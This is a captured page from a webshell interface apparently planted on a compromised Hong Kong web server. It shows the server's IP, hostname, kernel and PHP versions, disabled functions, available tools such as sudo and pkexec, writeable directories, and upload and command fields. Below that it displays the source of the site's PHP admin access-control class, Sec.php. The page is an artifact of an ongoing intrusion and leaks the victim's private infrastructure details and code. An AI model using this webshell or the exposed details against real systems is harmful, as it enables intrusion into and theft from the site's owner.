403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/b2b2c/webadmin/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/b2b2c/webadmin/models/Sec.php
<?php

use Carbon\Carbon as Carbon;

class Sec {

	static $instance;

	public function __construct($user_id, $formid, $access, $companyid = 1){
		$this->user_id = $user_id;
		$this->formid = $formid;
		$this->access = $access;
		$this->companyid = $companyid;

		$this->init();
	}

	public function init(){
		$this->menuStr = val_in_array(self::getsecmenu($this->user_id, $this->companyid), 'str');
		$this->contentStr = val_in_array(self::getseccontent($this->user_id, $formid, $this->companyid), 'str');
		// vdump(__FUNCTION__);
		// vdump("MenuStr: {$this->menuStr}", "ContentStr: {$this->contentStr}");
	}

	public function getsecmenu(){
		$sql = "SELECT
				sys_cms_login.cmsloginid,
				sys_cms_login.cmsloginname,
				GROUP_CONCAT(DISTINCT LEFT(formid,3)) as str
				FROM
				sys_cms_login
				INNER JOIN profile_user ON profile_user.user_id = sys_cms_login.cmsloginid
				INNER JOIN profile_formid ON profile_formid.profile_id = profile_user.profile_id
				WHERE LENGTH(sec_content)>0
				AND cmsloginid = ?";

		return bind_pdo($sql, array($this->user_id), "selectone");
	}

	public function getseccontent(){
		$sql = "SELECT
				sys_cms_login.cmsloginid,
				sys_cms_login.cmsloginname,
				GROUP_CONCAT(DISTINCT sec_content) as str
				FROM
				sys_cms_login
				INNER JOIN profile_user ON profile_user.user_id = sys_cms_login.cmsloginid
				INNER JOIN profile_formid ON profile_formid.profile_id = profile_user.profile_id
				WHERE cmsloginid = ? AND formid = ?";

		return bind_pdo($sql, array($this->user_id, $this->formid), "selectone");
	}

	//vdump($menu_permissionstr);
	public function haveMenuPermission($reqpermission, $menu_permissionstr=""){
		//return true;
		if(empty($menu_permissionstr)){
			$menu_permissionstr = $this->menuStr;
		}
		return strpos($menu_permissionstr, $reqpermission) !== false;
	}

	//function havePermission($userid, $formid, $companyid){
	public function havePermission($reqpermission, $permissionstr=""){//, $formid="", $companyid=""){
		//return true;
		if(empty($permissionstr)){
			$permissionstr = $this->contentStr;
		}
		// vdump( $permissionstr, $reqpermission ); //exit;

		if( is_array($reqpermission) ){
			foreach($reqpermission as $rp){
				// vdump($rp);
				if(strpos($permissionstr, $rp) === false){
					return false;
				}
			}
			return true;
		}
		return strpos($permissionstr, $reqpermission) !== false;
	}

	public function check(){
		if(!$this->formid){
			// throw new Exception("Missing page_settings[formid]");
		}

		if($this->access){
			$access = is_array($this->access) ? implode(',', $this->access) : $this->access;
			// vdump($this->access, $access); exit;
			if(!$this->havePermission($this->access)){
				echo "<script>alert('Access Denied!'); location.href='logout.php'</script>";
				//echo "<script>alert('Access Denied!'); location.href='index.php'</script>";
				exit;
				//throw new Exception("Invalid permission on Form: {$this->formid}  Access: {$access}");
			}
			else{
				// vdump("I have {$access} access");
			}
		}
	}

	static function getInstance(){
		if(!self::$instance){
			global $page_settings;
			return self::$instance = new self($_SESSION['cmsloginid'], $page_settings['formid'], $page_settings['access']);
		}
		return self::$instance;
	}
}



if(!function_exists('grant')){
	function grant($reqpermission){
		return Sec::getInstance()->havePermission($reqpermission);
	}
}

if(!function_exists('grantMenu')){
	function grantMenu($reqpermission){ 
		return Sec::getInstance()->haveMenuPermission($reqpermission);
	}
}


// // call this before using grant() and grantMenu()
// Sec::getInstance()->check();

// vdump(grant('GNr'));
// vdump(grant('GNd'));
// vdump(grantMenu('Pro'));
// vdump(grantMenu('Prx'));

// // to check another form
// $sec = new Sec(1, 'Product', ['GNr','GNu']);
// vdump($sec, $sec->check());

Youez - 2016 - github.com/yon3zu
LinuXploit